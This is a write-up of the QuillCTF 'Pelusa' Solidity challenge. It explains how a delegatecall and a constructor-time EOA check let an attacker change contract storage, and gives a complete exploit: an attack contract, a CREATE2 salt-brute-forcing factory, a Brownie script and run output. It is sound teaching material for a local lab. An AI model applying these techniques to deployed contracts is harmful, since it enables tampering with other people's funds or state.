Skip to main content

QuillCTF - Pelusa

· 5 min read
Kaan Caglan

Pelusa is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. Pelusa.sol. Contract is not deployed on any test network.

Objective of CTF is

Score from 1 to 2 goals for a win.

To solve this question we have to make goals variable 2. There are few rules on this contract. It can be seen that delegatecall is used in shoot function. With the help of delegatecall we can modify goals variable.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IGame {
function getBallPossesion() external view returns (address);
}

// "el baile de la gambeta"
// https://www.youtube.com/watch?v=qzxn85zX2aE
// @author https://twitter.com/eugenioclrc
contract Pelusa {
address private immutable owner;
address internal player;
uint256 public goals = 1;

constructor() {
owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
}

function passTheBall() external {
require(msg.sender.code.length == 0, "Only EOA players");
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");

player = msg.sender;
}

function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}

function shoot() external {
require(isGoal(), "missed");
/// @dev use "the hand of god" trick
(bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
require(success, "missed");
require(uint256(bytes32(data)) == 22_06_1986);
}
}

There are 3 required statements on shoot function. We should make them all pass. Firstly we need to make isGoal function return true.

    function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}

This function is just calling the getBallPossesion function of player contract and checks if it is equal to owner or not. Owner is setted on constuctor.

owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));

And its easy to replicate this data because we know msg.sender and also the block.number of contract creation. Msg sender is the wallet address which called deploy function of this contract. And blockhash(block.number) is just 0 because we can not obtain the current block's header within that transaction because the transaction that is running has not been included in the block yet. However we still need to change player variable with our attack contract address.

    function passTheBall() external {
require(msg.sender.code.length == 0, "Only EOA players");
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");

player = msg.sender;
}

Player is assigned on passTheBall function. To make it pass there are 2 required statements. First one is checking if the code length is 0. It is easy to bypass because on constructor of any contract code.length is 0. So if we create a contract and call this passTheBall function in our attack contracts constructor it will be able to pass first require statement. Second one is converting the contract address to integer and checks if that int mod 100 is 10. It is possible to create a contract which will satisfy the condition with bruteforcing. It is possible to predict contract address before deploying it with salt. So again we can try to increase salt until we found a valid address and then deploy that contract with valid salt. And after those steps we just need a function named handOfGod() which will increase the goals variable and returns 22_06_1986

POC

Solidity Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IGame {
function getBallPossesion() external view returns (address);
}

interface IPelusa {
function passTheBall() external;
function shoot() external;
}

contract Attack is IGame {
address private immutable owner;
address internal player;
uint256 public goals = 1;


IPelusa public pelusa;
bool public succeeded;

constructor(IPelusa _pelusa, address owner_of_pelusa) {
pelusa = IPelusa(_pelusa);
owner = address(uint160(uint256(keccak256(abi.encodePacked(owner_of_pelusa, blockhash(block.number))))));
pelusa.passTheBall();
}

function getBallPossesion() external view override returns(address){
return owner;
}

function attack() external payable{
pelusa.shoot();
}

function handOfGod() external returns(bytes32){
goals += 1;
bytes32 result = bytes32(uint256(22_06_1986));
return result;
}
}

contract Create2Factory {
IPelusa public immutable pelusa;
Attack public createdContract;
address public owner_of_pelusa;
constructor(IPelusa _pelusa, address _owner_of_pelusa) payable{
pelusa = _pelusa;
owner_of_pelusa = _owner_of_pelusa;
}

function deploy() external {
bytes memory bytecode = type(Attack).creationCode;
bytes memory calculatedBytecode = abi.encodePacked(bytecode, abi.encode(pelusa), abi.encode(owner_of_pelusa));

for(uint256 i; i < 1000; i++){
address calculatedAddress = getAddress(calculatedBytecode, i);
if(uint256(uint160(calculatedAddress)) % 100 == 10){
createdContract = new Attack{
salt: bytes32(i) // the number of salt determines the address of the contract that will be deployed
}(pelusa, owner_of_pelusa);
}
}
}

function getAddress(bytes memory bytecode, uint _salt) public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), address(this), _salt, keccak256(bytecode)
)
);
return address (uint160(uint(hash)));
}

}

Python Exploit Function

from brownie import *
from scripts.setup_general import console

def exploit():
admin = accounts[0]
attacker = accounts[1]
pelusa = Pelusa.deploy({'from': admin})
console.yellow("Creating attack contract")
attack_contract_factory = Create2Factory.deploy(pelusa.address, admin.address, {'from': attacker})
attack_contract_factory.deploy()
attack_conttract = Attack.at(attack_contract_factory.createdContract())

assert pelusa.goals() == 1
console.yellow("Calling -> attack_conttract.attack({'from': attacker})")
attack_conttract.attack({'from': attacker})

assert pelusa.goals() == 2
console.green("Goals of the contract after attack is: "+ str(pelusa.goals()))

And the output is

>>> run('poc', 'exploit')


Running 'scripts\poc.py::exploit'...
Transaction sent: 0xcb1f321da80b607fb77331af5c526e52cbab1fe74e1785749aded7dff2ae545f
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5
Pelusa.constructor confirmed Block: 16 Gas used: 284755 (2.37%)
Pelusa deployed at: 0x6b4BDe1086912A6Cb24ce3dB43b3466e6c72AFd3

Creating attack contract
Transaction sent: 0xf1e486f1c3eb05bc79b6e55145f8d50897fd871d279396feef95c5009d21a5f9
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10
Create2Factory.constructor confirmed Block: 17 Gas used: 519008 (4.33%)
Create2Factory deployed at: 0x1766f78B9548Ca08542fD46eB08908447F7e2d4D

Transaction sent: 0x1ecea9ccfd99307d24b5dd6be76321acd6f9bb3a654ce080b67dd8c022ad41ed
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11
Create2Factory.deploy confirmed Block: 18 Gas used: 3497755 (29.15%)

-Goals of the contract before attack is: 1
Calling -> attack_conttract.attack({'from': attacker})
Transaction sent: 0xbe49704659b80e05169042cd2284dc0df228c14dd302f8c42759a5d0a54f003c
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 12
Attack.attack confirmed Block: 19 Gas used: 34184 (0.28%)

+Goals of the contract after attack is: 2